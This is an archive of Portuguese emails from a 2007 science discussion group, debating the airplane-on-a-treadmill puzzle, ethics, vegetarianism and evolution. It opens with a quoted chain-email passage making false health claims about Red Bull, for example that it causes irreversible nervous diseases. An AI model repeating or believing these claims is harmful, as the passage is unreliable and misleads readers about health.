> que ataca diretamente o fígado e torna a zona afetada incapaz de se
> regenerar.
>
> 4. Um dos componentes principais do RED BULL é a vitamina B12, utilizada
> em
> medicina para recuperar pacientes que se encontram em coma alcoólica. Daí
> o
> estado de excitação em que se fica após tomá-lo. É como se tivéssemos de
> sair de um estado de embriaguez cada vez que se bebe uma lada de Red Bull.
>
> 5. O consumo regular de Red Bull provoca uma série de doenças nervosas e
> neuronais
> irreversíveis.
>
>
> CONCLUSÃO
>
>
> A venda de RED BULL deveria ser acompanhada dessas advertências em letras
> visíveis. Alguns países acharam melhor proibir a venda pois se
> desavisadamente ou intencionalmente for misturada com álcool torna-se uma
> bomba-relógio para o consumidor, principalmente entre os adolescentes ou
> mesmo adultos que desconheçam todos os efeitos da bebida.
>
>
>
> .........................................
>
>
>
> * Dietrich Mateschitz, é um dos mais ricos empresários do mundo, segundo a
> revista "FORTUNE". Sua trajetória escolar foi atribulada, concluiu o curso
> de Administração de Empresas em 10 anos, mais do dobro do tempo normal.
> Está
> sempre na companhia de belas mulheres e estrelas do cinema, sua pele
> eternamente bronzeada, não importa a época do ano, lhe garantem a fama de
> "bon vivant". E isso tudo, graças ao único produto no portfólio de sua
> empresa: a bebida RED BULL.
>
> Ele nada vai fazer para alertar os usuários, se não for obrigado a isso.
>
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SUBJECT: P/ Ricardo - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/02/2007 12:08

Olá Ricardo e demais

Ricardo: "Certo, sejamos justos. O atrito não desprezível neste
experimento. Se fosse, uma pessoa comum podia dar um empurrão no Boing
e ele sairia deslizando pela pista."

Ricardo, concordo com você em quase tudo, em especial no excelente
argumento sobre dobrar o atrito e verificar se o avião não decola. Me
parece que ele decolaria até se as rodas travassem, arrastando os
pneus pela pista e "queimando" a borracha até o final (e depois
arrastando o aço das rodas, que tem bem menos atrito).

Mas essa afirmação sobre dar um "empurrãozinho" não procede. Não é
exatamente o atrito que impede que eu dê um "empurrãozinho" no Boeing,
mas a inércia devido a sua massa gigantesca em relação a minha. Mesmo
com atrito zero ou desprezível, eu não posso deslocar o Boeing, como
não posso deslocar o Queen Mary, mesmo ele estando flutuando na água.

E se ele se mover em minha direção, mesmo com atrito zero, vai me
esmagar contra o pier, apenas pela inércia e mesmo que avançasse a um
milímetro por dia.

Um jato poderia decolar, mesmo que perdesse as rodas no meio do
caminho, uma esteira que gira seria irrelevante para ele..:-)

Um abraço.

Homero





SUBJECT: Re: [ciencialist] P/ Murilo - Re: E ética de cada um...
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/02/2007 12:08

Uma pergunta interessante seria se existe uma lei
prática que não advenha da natureza.

Boa observação Ricardo.


--- Ricardo <ricardos@infolink.com.br> escreveu:

> Chicao,
>
> Para esta colocação gosto da definição de Kant, que
> em uma de suas
> classificações divide as proposições fundamentais
> práticas em "máximas"
> (subjetivas) e "leis práticas" (objetivas). A máxima
> pode variar segundo a
> vontade de cada indivíduo, enquanto a lei prática
> deve ser válida para a
> vontade de todo ser racional (todos mesmo).
>
> Se você pode demonstrar objetivamente que a
> proposição é válida para todo o
> ser racional, como em uma lei natural (gravidade,
> por exemplo), você tem uma
> lei prática. Mas regras éticas, do tipo: "ao ser
> agredido devo sempre reagir
> em defesa de minha honra", são máximas pessoais.
> Verdades individuais
> subjetivas.
>
> É verdade, nem sempre é simples objetivamente
> comprovar uma lei prática, mas
> se ainda não foi comprovada, não pode ser
> considerada como tal. E não
> adianta dizer que é senso comum, como direitos
> humanos, que a maioria pensa
> assim (Argumentum ad Populum). Sem comprovação
> objetiva e categórica, não é
> lei prática. É subjetivo.
>
> Eu compartilho da visão do Kant neste ponto.
>
> Abraços,
>
> Ricardo
>
> ----- Original Message -----
> From: "Chicao Valadares"
> <chicaovaladares@yahoo.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, February 26, 2007 10:18 AM
> Subject: Re: [ciencialist] P/ Murilo - Re: E ética
> de cada um...
>
>
> > Eu estou tentando vislumbrar mais ou menos isso
> que
> > Jose Renato disse. A primeira coisa que notei é
> que
> > essa regra deverá atingir todos os homens sem
> exceção
> > por isso me ocorreu logo a ideia de alguma regra
> que
> > seja natural(exemplo: lei da gravidade).
> > Estou a ponderar sobre isso.
> >
> >
> >> Olá, Homero e Murilo! O que se busca deste
> sempre,
> >> melhor registrado por
> >> Aristóteles, é o absoluto. Uma, regra ética-moral
> >> que independa das
> >> premissas momentâneas, necessidades atuais,
> costumes
> >> sociais, pessoais,
> >> históricos, tradicionais, humor do legislador,
> >> situação econômica, etc. Um
> >> regra de descreva a melhor atitude a ser tomada
> pelo
> >> cidadão, em qualquer
> >> situação ou circunstância. Daí a dificuldade...
> >> []s
> >> José Renato
> >
> >
> > "O Binômio de Newton é tão belo como a Vênus de
> Milo.
> > O que há é pouca gente para dar por isso... "
> > Fernando Pessoa - Poesias de Alvaro Campos
> >
> >
>
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O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: P/ Bruna - Re: the vision of the future
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/02/2007 12:39

Olá Bruna

Gostaria de comentar este trecho do artigo que postou (muito
interessante, por sinal):

Trecho: "My vision is to produce meat without raising or slaughtering
animals," says veterinarian Henk Haagsman of the University of Utrecht. "

Por que? Por que, se não precisamos de proteína animal de toda forma,
o veterinário sonha com um futuro onde se produza carne sem ser
através de animais? Ou, se precisamos de carne, proteína animal, mas é
fácil e simples substituir por vegetais, ele deseja produzir carne de
toda forma?

Observe, Bruna, que nossa discussão nunca foi sobre impedir que as
pessoas se tornem vegetarianas, ou impedir que se descubram formas de
minorar a dor e sofrimento de animais, inclusive os de corte, e nunca
foi afirmar que é impossível viver sem proteína animal.

Mas sim que a alimentação natural, para a qual nós evoluímos por
milhões de anos, que nos permitiu desenvolver cérebros grandes e com
enorme consume energético, envolve proteína animal. E que a
substituição é mais complicada que simplesmente parar de comer carne,
que não deve ser feita com crianças e adolescentes, e que mesmo com
adultos precisa de acompanhamento e cuidados constantes.

Também não afirmamos que não existam casos isolados em que nem isso é
preciso, mas sim que, estatisticamente, vegetarianos, em especial
mulheres, tem mais chances de desequilíbrios nutritivos ao se tornarem
vegetarianos.

E, a partir da declaração do veterinário acima, parece que ele também
concorda, pois sonha com a produção de carne sem o uso de animais ou
sem o sofrimento destes, e não com um mundo sem carnívoros.

Ou melhor, onívoros, porque também NUNCA afirmamos que se deve comer
APENAS carne, ou mais carne que qualquer outro alimento. Afirmamos que
uma complementação de proteína animal, carne inclusive, deveria fazer
parte de uma dieta equilibrada, e que substituir isso é mais
trabalhoso e delicado que simplesmente excluir a carne do cardápio.

Por favor, não estamos brigando com você ou disputando algo, é apenas
uma argumentação e apresentação de dados e evidências, como fez com os
artigos que postou.

Um abraço.

Homero




SUBJECT: Re: [ciencialist] P/ Ricardo - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/02/2007 13:37

Ok, foi um péssimo exemplo. O avião vai se mover com qualquer pequeno
empurrão, pois sem atrito qualquer força resultará em aceleração. Mas, para
um Boing, uma força como o um empurrão, mesmo forte, gerará uma aceleração
muito pequena, com certeza, devido à grande massa do avião. Ele deslizará
muuuuito lentamente. Péssimo exemplo. Não ilustra nada.

Obrigado pela correção,

Ricardo

----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, February 27, 2007 12:08 PM
Subject: [ciencialist] P/ Ricardo - O avião decola SEM PROBLEMAS..:-) Re:
avião em esteira


Olá Ricardo e demais

Ricardo: "Certo, sejamos justos. O atrito não desprezível neste
experimento. Se fosse, uma pessoa comum podia dar um empurrão no Boing
e ele sairia deslizando pela pista."

Ricardo, concordo com você em quase tudo, em especial no excelente
argumento sobre dobrar o atrito e verificar se o avião não decola. Me
parece que ele decolaria até se as rodas travassem, arrastando os
pneus pela pista e "queimando" a borracha até o final (e depois
arrastando o aço das rodas, que tem bem menos atrito).

Mas essa afirmação sobre dar um "empurrãozinho" não procede. Não é
exatamente o atrito que impede que eu dê um "empurrãozinho" no Boeing,
mas a inércia devido a sua massa gigantesca em relação a minha. Mesmo
com atrito zero ou desprezível, eu não posso deslocar o Boeing, como
não posso deslocar o Queen Mary, mesmo ele estando flutuando na água.

E se ele se mover em minha direção, mesmo com atrito zero, vai me
esmagar contra o pier, apenas pela inércia e mesmo que avançasse a um
milímetro por dia.

Um jato poderia decolar, mesmo que perdesse as rodas no meio do
caminho, uma esteira que gira seria irrelevante para ele..:-)

Um abraço.

Homero





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SUBJECT: Re: [ciencialist] P/Silvio: Racismo "científico"
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/02/2007 14:07

Existe um livro sobre isso...

"A fuga de cérebros da Alemanha nazista
Livro reconstitui história da diáspora de cientistas judeus refugiados
em outros países

Quando Adolf Hitler chegou ao poder em 1933, ele queria levar a
Alemanha a uma nova era de glória. Ele resgatou a segurança e
prosperidade do país, o exército alemão -- orgulho nacional -- foi
recriado e seu programa de obras públicas era invejado em vários
países. Mas após três meses como chanceler, cego pelo seu
anti-semitismo, ele comete um erro: promulga as leis de 'reconstrução
da administração pública', que proibiam pessoas de origem não ariana
de trabalhar no serviço público. Cerca de 25% dos cargos em
universidades públicas eram ocupados por judeus.

Sem poder continuar suas pesquisas, milhares de cientistas e
acadêmicos buscam refúgio em outros países, sobretudo Grã-Bretanha e
Estados Unidos. Em O presente de Hitler, a editora Jean Medawar e o
médico David Pyke narram a história de alguns desses homens e
mulheres, muitos dos quais construíram em 'território aliado'
carreiras de sucesso. "

Restante do texto em
http://cienciahoje.uol.com.br/controlPanel/materia/view/2831


Ateh
Luis Brudna



On 2/27/07, Silvio Cordeiro <scordeiroes@superig.com.br> wrote:
> Manoel:
> Não tendo à mão o que escrevi, o que pude acompanhar parcialmente na segundfa grande guerra e em seus anos anteriores (preparação da alemanha) e no pós guerra foi um "racismo" profundamente ideológico para que as conquistas científicas em plena guerra fria, não passassem para outros países. O racismo do nazismo para com os judeus é que deu a bomba H aos americanos e estes, abduziram Von Braun, o homem dos foguetes que não era nazista, não tinha ideologia e queria somente criar, não importando o patrão.
> O racismo científico da alemanha foi uma das principais causas de sua derrota que ao longo do tempo seria inevitável por problemas ideológicos e raciais: Não havia tantos individos puros, arianos, para dominar todo o orbe e ele por certo entraria em conflito com o Japão.....
>
> Quando discussões sobre assuntos histórica e científicamente altrapassados - a atualidade tem muitas, imensas perguntas ainda sem resposta, chegam a nívels de "paixão" segundo os gramáticos o termo "bizantino", sinônimo de coisa já ultrapassada é apropriado.
> Até o Aurélio registra:
> 2. Fig. Interesse por discussões frívolas ou insignificantes, sem resultado prático, como as questões tratadas pelos teólogos bizantinos; bizantinice.
>
> sds.,
>
> silvio
>


SUBJECT: Re: [ciencialist] P/ Ricardo - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/02/2007 14:28

Olá Homero,

>
>Ricardo, concordo com você em quase tudo, em especial no excelente
>argumento sobre dobrar o atrito e verificar se o avião não decola. Me
>parece que ele decolaria até se as rodas travassem, arrastando os
>pneus pela pista e "queimando" a borracha até o final (e depois
>arrastando o aço das rodas, que tem bem menos atrito).
>

Decola se a esteira tiver tamanho suficiente para o avião atingir
velocidade, em relação ao solo, pra voar né?

O problema todo é pensar que o avião não vai andar em relação ao solo só
porque as suas rodas giram na mesma velocidade da esteira (em sentido
contrário), como se fosse um carro...

Mesmo com as rodas girando na esteira, o que empurra o avião é a hélice né.
A diferença de ele estar na esteira em vez de estar no chão é que as
rodinhas vão girar como doidas na esteira... Mas não faz diferença porque
elas não transmitem força pro avião (desconsiderando o atrito nos rolamentos
das rodinhas).

[]',s
Jeff.



SUBJECT: P/ Ricardo - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/02/2007 15:45

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Mesmo com atrito zero ou desprezível, eu não posso deslocar o Boeing,
> como não posso deslocar o Queen Mary, mesmo ele estando flutuando na
> água.

Poder pode. Apenas q a aceleracao serah muito pequena. Mas tendo
tempo, pode-se dar a velocidade q quiser.

F = m.(deltaV)/(deltat)

Digamos q um homem seja capaz de puxar com a forca de 600 N. Digamos q
um Boeing pese 60.000 kg. Para acelerar o Boeing do repouso ateh 200
m/s, levarah:

t = 60.000x200/600 = 20.000 segundos (algo como 14 dias)

(Bem, claro q qdo o Boeing ou o Queen Mary estiver a uns 30 km/h serah
dificil acompanhar a peh os monstrengos.)

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ Homero- Re: the vision of the future
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/02/2007 15:46

Homero,

Eu entendo o que vc diz, porém não concordo.
Não concordo com nada que vc afirma, e o artigo postei como curiosidade porque realmente não acredito que esse tipo de produto seja saudável tampouco não implique em sofrimento animal, porque para produzi-lo retira células de animais, a princípio.
O que vc não entende Homero, e ninguém dessa lista, conforme percebi, é que não aprovo essa concepção de medidas de bem-estar aos animais, isso é importante, porém vejo mais longe, sou contra a coisificação dos animais não-humanos.
Sou contra a visão antropocêntrica.
A morte é sempre um dano.E vc, Homero, mesmo disse num outro e-mail não para mim, que "assassinato é uma questão ética, pois seu efeito atinge terceiros( que podem não gostar de serem assassinados)."A carne que servem no seu prato vem de assassinato, alguém passou o cutelo num ser que de outra forma gostaria de viver.O que vc apresenta hoje, com seus argumentos de questão de sobrevivência e seu desconhecimento sobre se essa dieta é possivel para bebês e crianças, é um resíduo de um preconceito profundo contra outras espécies, especismo como chamam.
Respeito seus argumentos, assim como tolero a provocação do Takata, porém, sei que atrás dela, já está uma retórica bem formatada para ridicularizar uma maneira muito mais compassiva de viver.

um beijo,

da Bruna

oraculo333 <oraculo@atibaia.com.br> escreveu: Olá Bruna

Gostaria de comentar este trecho do artigo que postou (muito
interessante, por sinal):

Trecho: "My vision is to produce meat without raising or slaughtering
animals," says veterinarian Henk Haagsman of the University of Utrecht. "

Por que? Por que, se não precisamos de proteína animal de toda forma,
o veterinário sonha com um futuro onde se produza carne sem ser
através de animais? Ou, se precisamos de carne, proteína animal, mas é
fácil e simples substituir por vegetais, ele deseja produzir carne de
toda forma?

Observe, Bruna, que nossa discussão nunca foi sobre impedir que as
pessoas se tornem vegetarianas, ou impedir que se descubram formas de
minorar a dor e sofrimento de animais, inclusive os de corte, e nunca
foi afirmar que é impossível viver sem proteína animal.

Mas sim que a alimentação natural, para a qual nós evoluímos por
milhões de anos, que nos permitiu desenvolver cérebros grandes e com
enorme consume energético, envolve proteína animal. E que a
substituição é mais complicada que simplesmente parar de comer carne,
que não deve ser feita com crianças e adolescentes, e que mesmo com
adultos precisa de acompanhamento e cuidados constantes.

Também não afirmamos que não existam casos isolados em que nem isso é
preciso, mas sim que, estatisticamente, vegetarianos, em especial
mulheres, tem mais chances de desequilíbrios nutritivos ao se tornarem
vegetarianos.

E, a partir da declaração do veterinário acima, parece que ele também
concorda, pois sonha com a produção de carne sem o uso de animais ou
sem o sofrimento destes, e não com um mundo sem carnívoros.

Ou melhor, onívoros, porque também NUNCA afirmamos que se deve comer
APENAS carne, ou mais carne que qualquer outro alimento. Afirmamos que
uma complementação de proteína animal, carne inclusive, deveria fazer
parte de uma dieta equilibrada, e que substituir isso é mais
trabalhoso e delicado que simplesmente excluir a carne do cardápio.

Por favor, não estamos brigando com você ou disputando algo, é apenas
uma argumentação e apresentação de dados e evidências, como fez com os
artigos que postou.

Um abraço.

Homero





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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Ricardo - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/02/2007 15:48

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> t = 60.000x200/600 = 20.000 segundos (algo como 14 dias)

Onde a besta aqui falou 14 dias, leia=se 6 horas.

[]s,

Roberto Takata



SUBJECT: P/ Homero- Re: the vision of the future
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/02/2007 16:12

--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> Sou contra a visão antropocêntrica.

200 vacas ou 1 humano?

Nao ha' nenhuma ridicularizacao nisso. Eh uma pergunta. Espero q vc
responda.

[]s,

Roberto Takata




SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/02/2007 16:35

Olá Takata

Takata: "Poder pode. Apenas q a aceleracao serah muito pequena. Mas tendo
tempo, pode-se dar a velocidade q quiser."

Bem, poder, pode, mas é por ser desprezivel que muitas possibilidades são descartadas, para efeitos práticos..:-) No caso específico do enunciado e do avião, e do Quenn Mary, eu não poderia move-lo, devido a sua inércia, e, claro, ao atrito, que teria de ser vencido antes que minha, pouca, força fizesse algum efeito.

Em um sistema ideal, de atrito zero, eu poderia aplicar uma força mínima e, em alguns anos, mover o Boeing de um lado para outro. Mas, se o Boeing estiver tentando decolar, mesmo com atito zero e em condições ideias, ele decolaria, e "dane-se eu" no processo.:-)

Isso me lembra uma pergunta que de vez em quando eu ouço, sobre a impossibilidade de ganhar energia do nada, sem uma fonte. Como, me perguntam, uma nave espacial pode usar um planeta para "ganhar" aceleração e velocidade, sem usar uma fonte de energia? Não seria essa uma violação de leis físicas? Como uma sonda pode "acelerar" ao passar por Jupiter, sem usar combustível ou qualquer fonte de energia? Quem perde energia, para a sonda ganhar?

Embora seja até difícil para nossa mente limitada aceitar, e contra-intuítivo de imaginar, quem "perde" energia é o planeta Jupiter no processo. A sonda, ao girar em sua órbita e "ganhar" velocidade, diminui a rotação de Jupiter.

É claro que podemos lidar com essa perda como se não existisse, como se fosse desprezível (e é, para qualquer efeito proposto), e ignorar totalmente o efeito de uma sonda de 500 quilos em relação a massa de Júpiter.

A não ser que faça uma mágica espantosa, Takata, eu ficarei realmente admirado se conseguir demonstrar que a esteira "impede" a decolagem do avião, nas condições propostas pelo enunciado, com qualquer atrito que possa apresentar. Um avião decolaria até mesmo SEM as rodas, com esquis no concreto, o que demonstra que qualquer que seja o efeito da esteira, ele é desprezível para o avião e as forças envolvidas.

O que "pega" é a roda, que "gira" para "mover" os veículos. Mas no avião, ela é só um sistema de isolamento, que torna a superfície onde o avião se apoia, irrelevante para a decolagem.

E deve se lembrar que a esteira vai rolar sempre na mesma velocidade do avião, em sentido contrário, e portanto a roda vai girar apenas no dobro da velocidade de ambos, o que não gera nem atrito suficiente para prejudicar os pneus.

Um abraço.

Homero



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/02/2007 16:54

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> A não ser que faça uma mágica espantosa, Takata, eu ficarei
> realmente admirado se conseguir demonstrar que a esteira "impede" a
> decolagem do avião, nas condições propostas pelo enunciado, com
> qualquer atrito que possa apresentar. Um avião decolaria até mesmo
> SEM as rodas, com esquis no concreto, o que demonstra que qualquer
> que seja o efeito da esteira, ele é desprezível para o avião e as
> forças envolvidas.

Chegaremos la'.

A primeira etapa todos concordaram: o aviao com a helice desligada e
havendo atrito nao-nulo, adquire a velocidade da esteira.

A segunda etapa eh mostrar q o aviao - sem asas e com a esteira
desligada - estah em MRU (ou atinge o MRU a qq potencia fixa).

[]s,

Roberto Takata



SUBJECT: P/ Bruna - Re: the vision of the future
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/02/2007 17:32

Olá Bruna

Bruna: "Eu entendo o que vc diz, porém não concordo."

É um direito seu, e não tenha nada contra você não concordar comigo.
Mas a questão mais importante são os argumentos que ambos expusemos, e
estes são válidos ou não, podem se sustentar ou não.

E me parece que seus argumentos não se sustentam, embora você deseje,
e tenha esse direito, manter sua opinião pessoal.

Bruna: "porque para produzi-lo retira células de animais, a princípio."

É por isso que eu afirmo que seus argumentos não se sustentam, pois
você tende a apresentar uma visão fundamentalista das coisas, quase
como uma religião, ignorando dados e fatos que contradizem sua posição.

Onde estaria, por exemplo, o erro ou dano em retirar células de
animais? Por que isso seria errado ou daninho? Quando você cospe no
chão, respira, evacua, faz xixi, corta o cabelo, etc, perde células. O
tempo todo, quando corta um "teco" de sua pele ao fazer as unhas,
perde células.

Não há, em princípio, nada de errado, daninho ou imoral em retirar
células de alguém, como quando se tira sangue. Como no caso, extremo e
absurdo, de "opressão de abelhas operárias", que impedem Vegans de
comer mel, isso não faz o menor sentido, Bruna.

Abelhas operárias tem esse nome apenas por analogia, péssima analogia,
e, se deseja saber a verdade, são as tais "operárias" que oprimem,
controlam, abusam e escravizam as rainhas, que são escolhidas para
receber alimentação especial, se transformar em fonte de ovos e
ficarem eternamente presas a colméia.

Se uma rainha morre, as "operárias" criam duas ou 3 novas rainhas, as
colocam para lutar e a que sobreviver é escravizada, as perdedoras são
mortas e arrastadas para fora da colônia.

Se há um bom exemplo de "antropocentrismo" é esse seu de considerar
abelhas operárias representantes da classe marxista-leninista..:-) Ou
talvez elas sejam maoistas?

Bruna, ninguém deseja, intencionalmente, ridicularizar você ou seu
modo de pensar, mas algumas proposições são naturalmente ridículas, em
especial as que se utilizam da antropomorfização, a aplicação de
características humanas a outros seres vivos (como abelhas).

Bruna: "Sou contra a visão antropocêntrica."

Mas adota a antropomorfização, considerando que abelhas "operárias"
podem ficar chateadas se seu mel, produzido "com o esforço de seu
trabalho" (mais valia) é "roubado" por malvados apicultores.

Bruna: "A morte é sempre um dano.E vc, Homero, mesmo disse num outro
e-mail não para mim, que "assassinato é uma questão ética, pois seu
efeito atinge terceiros( que podem não gostar de serem
assassinados)."A carne que servem no seu prato vem de assassinato,"

Nem sempre é um dano, Bruna, e por isso seu discurso fica capenga.
Matar ratos e baratas não é um dano, matar micróbios patogênicos não é
um dano, matar lombrigas não é um dano, etc, etc.

E assassinato, homicídio, é uma classificação arbitrária, humana,
subjetiva, e que nós, seres humanos, definimos como sendo aplicável
apenas a nós, homo sapiens. Quando um leão mata uma gazela, não comete
assassinato. Nem nós, ao matar vacas, cometemos homicídio.

É claro que podemos rever a classificação e mudar a linha divisória.
Você, por exemplo, parece querer colocar a linha divisória bem mais
abaixo, incluindo vacas e frangos. Mas, e já perguntamos isso antes,
onde pretende parar?

Que animais estão "dentro" da linha, e é assassinato sua morte, e
quais não estão? Baratas estão? Ratos? Insetos diversos? E o que está
usando para definir quem entra e quem sai, qual a base dessa escolha,
pessoal sua?

São perguntas, Bruna, que nunca respondeu. Por isso esse discurso
fica, as vezes, ridículo. Por mais que eu compartilhe de sua, correta
e bem intencionada, vontade de cuidar dos animais e de melhorar suas
condições, virar vegetariano não responde a essas questões, e não é
uma solução racional ou razoável.

Bruna: "O que vc apresenta hoje, com seus argumentos de questão de
sobrevivência e seu desconhecimento sobre se essa dieta é possivel
para bebês e crianças, é um resíduo de um preconceito profundo contra
outras espécies, especismo como chamam."

Não, Bruna, pelo contrário, o que afirmei está baseado em centenas de
evidências, como os estudos que o Takata apresentou demonstram.
Mulheres vegetarianas tem, estatisticamente, mais chance de ter
problemas de nutrição. Crianças, conforme estudos bem embasados, tem
diversos problemas em dietas restritas, inclusive com registros de
mortes ou danos permanentes.

No lugar de apenas espernear, deveria tentar refutar esses dados, ou
apresentar outros, publicados em revistas científicas. Sem isso, é seu
desconhecimento sobre nutrição que fica evidente (e relatos pessoais,
como "eu não como carne e vivo bem" não são fonte confiável de
informação).

Nós postamos até mesmo textos de sites vegetarianos, onde o cuidado
com complementação e alertas sobre má nutrição infantil eram
apresentados, e mesmo assim você teima que basta "parar de comer carne
e a vida fica maravilhosa".

Nós temos um sistema digestivo e um metabolismo de animais onívoros.
Não é de forma alguma "especismo" reconhecer essas caracteristicas.
Assim como nossa espécie NÃO pode voar ou respirar sob a água, não se
desenvolveu para se alimentar apenas de vegetais, sendo necessário
fazer um esforço extra para tanto.

Bruna: "Respeito seus argumentos, assim como tolero a provocação do
Takata, porém, sei que atrás dela, já está uma retórica bem formatada
para ridicularizar uma maneira muito mais compassiva de viver."

Por partes. Não é provocação do Takata, é uma pergunta pertinente: o
que escolheria, e porque, se precisasse decidir entre salvar um ser
humano ou 200 outros animais. É o cerne deste debate, onde você
defende que todo animal (menos ratos e baratas) devem receber a mesma
proteção e status ontológico que seres humanos.

Se o que defende é correto, salvar 200 outros animais é mais
importante que salvar um ser humano. Se não é, então mesmo você
considera que a vida de um ser humano justifica a morte de 200 outros
animais.

Se tentar responder a questão, vai descobrir sua dificuldade neste
assunto.

Em segundo, não há retórica alguma, mas argumentos. Tem todo direito
de não aceita-los, mas isso não muda o fato de que são argumentos e
que são válidos.

Quanto a maneira mais compassiva de se viver, é a parte que mais se
parece com uma religião. Eu não penso que virar vegetariano seja uma
maneira mais compassiva de se viver, da mesma forma como não penso que
virar evangélico, muçulmano ou católico seja uma maneira mais
compassiva de se viver, embora essas religiões também defendam isso.

Seu "julgamento de valor", totalmente subjetivo, que coloca
vegetarianos em um patamar mais alto que os não vegetarianos, é
simplesmente indefensável, racionalmente indefensável.

Um abraço.

Homero




SUBJECT: Re: [ciencialist] Re: Tartarugas, mamutes, e o engano de Jose Renato (eraDrauzio Varella - Folha
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/02/2007 18:34

[ Dizer que é "selecionado" é a mesma coisa que adaptado pois a seleção dos
mais fortes para enfrentar o novo ambiente é a seleção natural. ]
.............................................

Três pontos a comentar:
1. Pode-se entender que selecionado diz respeito ao ambiente em direção ao
ser, enquanto que adaptado refere-se ao ser em relação ao ambiente.
2. A adaptação não implica em mutação, o ser apenas adequa os recursos
biológicos que já dispõe. A seleção natural vem após as mutações ocorridas.
3. Essa história de que quem sobrevive é o mais "forte" requer esclarecer o
que está se chamando de mais forte. Como já lembrou Luiz, em geral, são os
pequenos e frágeis que permanecem, pois se adaptam com mais rapidez às
mudanças do ambiente. Considerando que o Dino Rex foi um dos animais de
maior força.
[]s
JR
.............................................

----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Cc: <Conversa_de_Botequim@yahoogrupos.com.br>;
<Acropolis_@yahoogrupos.com.br>
Sent: Wednesday, February 21, 2007 2:06 PM
Subject: Re: [ciencialist] Re: Tartarugas, mamutes, e o engano de Jose
Renato (eraDrauzio Varella - Folha


Jeff:

No processo evolutivo- tomemos os humanos como exemplo: o crescimento
demográfico obrigou os "homo" primitivos - e esse processo continua até
hoje - a buscar novos habitats. E eles o fizeram com êxito: os humanos
ocuparam quase a totalidade das regiões da Terra - dos Polos aos Trópicos,
adaptando-se ao meio ambiente e dele tirando as coiusas necessárias ao seu
viver.
Os esquimós vivem no ártico, sob temperaturas extremas e, mesmo tendo
oportunidades de emigrar, não o fazem: já estão perfeitamente adaptados ao
meio ambiente.
Se você comparar um bosquímano australiano e um esquimó verá que inclusive
os corpos foram alterados para a melhor adaptação às condições ambientais o
que, errôneamente, alguns intelectuais chamam de raça o que não tem o menor
fundamento pois todos nós temos uma origem comum: a célula primordial.
Afirmar qualquer coisa, categóricamente, não dando espaço ao contraditório é
apenas criar um ambiente bizantino....

sds.,

,silvio.

Dizer que é "selecionado" é a mesma coisa que adaptado pois a seleção dos
mais fortes para enfrentar o novo ambiente é a seleção natural.
----- Original Message -----
From: Jefferson
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, February 13, 2007 9:14 AM
Subject: Re: [ciencialist] Re: Tartarugas, mamutes, e o engano de Jose
Renato (era Drauzio Varella - Folha


>
>O que que é isso?
>Jamais nos adaptamos ao frio? Nenhum animal o fez?
>

Ele quis dizer que não se adapta, é selecionado. Dizer que um ser se
adapta,
dá a impressão de que ele desejou isso, o que não é verdade.

[]',s
Jeff.
.

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SUBJECT: Re: [ciencialist] Re: Crueldade com animais
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/02/2007 18:37

Silvio, vc perdeu a explicação de Takata em e-mail anterior, vale a pena
ler.
O Aurélio recomenda que talião seja escrito com minúsculas, pois não se
trata de pessoa.
[]s
JR
.............................................

----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, February 21, 2007 3:17 PM
Subject: Re: [ciencialist] Re: Crueldade com animais


A lei de Talião, vigente desde a aurora do mundo.

silvio
----- Original Message -----
From: Chicao Valadares
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, February 13, 2007 1:30 PM
Subject: Re: [ciencialist] Re: Crueldade com animais


Fico pouco tempo no PC , as vezes o "flood" dessa
lista assusta!!!

Aí vai uma perguntinha:

Qual o principio que faz com que haja punição caso se
mate algum ser humano ???

